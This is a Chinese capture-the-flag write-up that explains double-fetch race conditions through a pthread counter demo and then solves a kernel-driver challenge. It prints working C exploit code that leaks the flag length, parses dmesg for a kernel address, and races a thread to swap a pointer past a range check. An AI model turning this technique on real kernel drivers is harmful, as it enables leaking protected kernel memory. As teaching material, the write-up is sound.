Double_Fetch本质上是一种条件竞争漏洞,当系统采用并发编程,经常对资源进行共享时,往往会出现条件竞争漏洞。

条件竞争的条件

我们以计算机程序方面的条件竞争来举例,当一个软件的运行结果依赖于进程或者线程的顺序时,就可能会出现条件竞争。综合考虑下,条件竞争需要的条件如下。

1.并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
2.共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
3.改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

条件竞争造成的影响也是多样的,轻则程序异常执行,重则程序崩溃。如果条件竞争漏洞被攻击者利用的话,很有可能会使得攻击者获得相应系统的特权。

demo测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <pthread.h>
#include <stdio.h>


int counter=0;
int hook=1;
void *IncreaseCounter(void *args) {
printf("IncreaseCounter_NULL_counter=%d\n",counter);
counter+=1;
sleep(0.1);
printf("IncreaseCounter_counter=%d\n",counter);
}

int main() {
pthread_t p[10];
for (int i = 0; i < 10; ++i) {
printf("for %d =%d\n",i,counter);
pthread_create(&p[i], NULL, IncreaseCounter, NULL);
}
for (int i = 0; i < 10; ++i) {
pthread_join(p[i], NULL);
}
return 0;
}

编译命令gcc poc.c -o poc -static -w -pthread
我们本该的运行结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
starssgo@ubuntu:~/CTF/条件竞争$ ./poc
for 0 =0
for 1 =0
for 2 =0
for 3 =0
for 4 =0
for 5 =0
for 6 =0
for 7 =0
for 8 =0
for 9 =0
IncreaseCounter_NULL_counter=0
IncreaseCounter_counter=1
IncreaseCounter_NULL_counter=1
IncreaseCounter_counter=2
IncreaseCounter_NULL_counter=2
IncreaseCounter_counter=3
IncreaseCounter_NULL_counter=3
IncreaseCounter_counter=4
IncreaseCounter_NULL_counter=4
IncreaseCounter_counter=5
IncreaseCounter_NULL_counter=5
IncreaseCounter_counter=6
IncreaseCounter_NULL_counter=6
IncreaseCounter_counter=7
IncreaseCounter_NULL_counter=7
IncreaseCounter_counter=8
IncreaseCounter_NULL_counter=8
IncreaseCounter_counter=9
IncreaseCounter_NULL_counter=9
IncreaseCounter_counter=10

但是,我们在IncreaseCounter函数中加入了sleep(0.5)后,结果却不一样了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
starssgo@ubuntu:~/CTF/条件竞争$ ./poc
for 0 =0
for 1 =0
for 2 =0
for 3 =0
for 4 =0
for 5 =0
for 6 =0
for 7 =0
for 8 =0
for 9 =0
IncreaseCounter_NULL_counter=0
IncreaseCounter_NULL_counter=1
IncreaseCounter_NULL_counter=2
IncreaseCounter_NULL_counter=3
IncreaseCounter_NULL_counter=4
IncreaseCounter_NULL_counter=5
IncreaseCounter_NULL_counter=6
IncreaseCounter_counter=6
IncreaseCounter_counter=6
IncreaseCounter_counter=6
IncreaseCounter_counter=6
IncreaseCounter_counter=6
IncreaseCounter_counter=6
IncreaseCounter_NULL_counter=7
IncreaseCounter_NULL_counter=8
IncreaseCounter_NULL_counter=9
IncreaseCounter_counter=10
IncreaseCounter_counter=10
IncreaseCounter_counter=10

这里我们可以看出,第一个线程p[0]在sleep(0.5)时,其他的线程却没有闲置,依然进行着counter+=1;的操作,出现了条件竞争
然而在实际多线程开发中,一些必要的循环和计算将耗费程序的时间。那么如果没有做保护的情况下,程序就容易发生bug,并且在并发时,执行流的不确定性很大,条件竞争相对难察觉,并且在复现和调试方面会比较困难。这给修复条件竞争也带来了不小的困难。

例题

程序地址

程序分析

本驱动有两个模块,第一个是打印flag的内核地址

1
2
3
4
5
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}

第二个是满足特定条件后,将v5地址指向的值与flag进行相等判断。如果全部相等,打印flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(signed int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}

这里用到了_chk_range_not_ok,观察其定义:

1
2
3
4
5
6
7
8
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
if ( v3 )
result = 1;
else
result = a3 < v4;
return result;

可以看出,当a1+a2小于a3时,条件满足。
v2为baby_ioctl的第三个参数(rdx=v2)。
动调中发现*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358)为内核地址
由此分析条件要求:

v2为用户地址。
v2与v2+8的指针为用户地址
v2+8为flag的长度
由下面if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )不难得出v2为一个结构体.

1
2
3
4
struct message{
char * buf;
long len;
};

其中buf存放着用户层flag的地址,len存放着内核层flag的长度。

漏洞寻找

我们可以尝试在绕过else if ( (_DWORD)a2 == 0x1337检查后,将buf的指针通过条件竞争的方式更改为内核flag的地址。
这样if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )其实就是内核flag自己与自己判断,然后内核打印出flag的值.
所以我们拿到flag的步骤为:

1.通过不同的retn来找到flag的长度(本地可以IDA找出,但是服务器端需要自己找)
2.得到flag的内核地址
3.通过多线程实现buf指针的劫持,绕过检测.
4.通过dmesg查找出内核打印到内核缓冲区的flag

泄露len

如内核分析,当len错误时retn 0xe,当len正确且buf指向的值不等于flag时,retn 0x16,则泄露脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define MAX_LEN 0x40
struct info
{
char *msg;
size_t len;
};
int main()
{
int fd = open("/dev/baby", 0);
int rret;
struct info myinfo;
myinfo.msg = "qq";
myinfo.len = 0;
for (int i=0;i<MAX_LEN;i++)
{
myinfo.len = i;
rret = ioctl(fd, 0x1337, &myinfo);
printf ("return : %d\n", rret);
if (rret == 0x16)
printf ("get flag len : %d\n", i);
}
return 0;
}


可以得到,flag len的长度为33.

得到flag地址

printk函数将流打印到内核缓冲区.Liunx下可以通过dmesg命令来查看.
综合泄露flag地址的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
   system("dmesg > /tmp/record.txt"); //将dmesg打印的字符串存入record
int tmp_fd = open("/tmp/record.txt",O_RDONLY); //打开record
char temp[0x1000];
lseek(tmp_fd,-0x100,SEEK_END); //将指针读写位置移到-0x100处
read(tmp_fd,temp,0x100); //从record流中读取0x100字节
char * idx = strstr(temp,"Your flag is at "); //将指针指向Your flag is at 字符串首
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
close(tmp_fd);
idx+=16; //将指针指向flag地址字符串处
unsigned long addr = strtoull(idx,idx+16,16); //取出地址

挟持buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int finish=0;
void change_attr_value(unsigned long addr){
while(finish==0){
puts("changing");
my_message.buf = addr; //将buf改为flag内核地址
}
}
char temp[0x1000];
my_message.buf = temp;//首先将buf指针指向用户空间.绕过检测
my_message.len = 33; //将len设置为flag的长度
pthread_t t1;
pthread_create(&t1,NULL,change_attr_value,addr); //开第二线程,调用change_attr_value函数
for (int i = 0 ; i < 3000; i++){
my_message.buf = temp;
ioctl(fd,0x1337,&my_message); //第一线程不停调用0x1337模块
}
finish = 1;
system("dmesg | grep THIS"); //循环结束,将finish设置为1推出第二线程.在内核缓冲区寻找flag

如上所知,当且仅当

当第一线程运行到A处,第二线程更改buf的指针为flag的指针.此时条件成立,在内核缓冲区内可以找到flag.
所以脚本成功具有偶然性,要多加尝试.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
int finish = 0;
struct message{
char * buf;
long len;
};
struct message my_message;
void change_attr_value(unsigned long addr){
while(finish==0){
puts("changing");
my_message.buf = addr;
}
}
int main(int argc, char *argv[]){
int fd = open("/dev/baby",0);
ioctl(fd,0x6666);
system("dmesg > /tmp/record.txt");
int tmp_fd = open("/tmp/record.txt",O_RDONLY);
char temp[0x1000];
lseek(tmp_fd,-0x100,SEEK_END);
read(tmp_fd,temp,0x100);
char * idx = strstr(temp,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
close(tmp_fd);
idx+=16;
unsigned long addr = strtoull(idx,idx+16,16);

puts("------addr----------");
printf("%p\n",addr);
my_message.buf = temp;
my_message.len = 33;
pthread_t t1;
pthread_create(&t1,NULL,change_attr_value,addr);
for (int i = 0 ; i < 3000; i++){
my_message.buf = temp;
ioctl(fd,0x1337,&my_message);
}
finish = 1;
system("dmesg | grep THIS");
return 0;
}

总结

条件竞争相对难察觉,并且在复现和调试方面会比较困难。条件竞争造成的影响也是多样的.至少在kernel方面。要学会灵活运用。
参考链接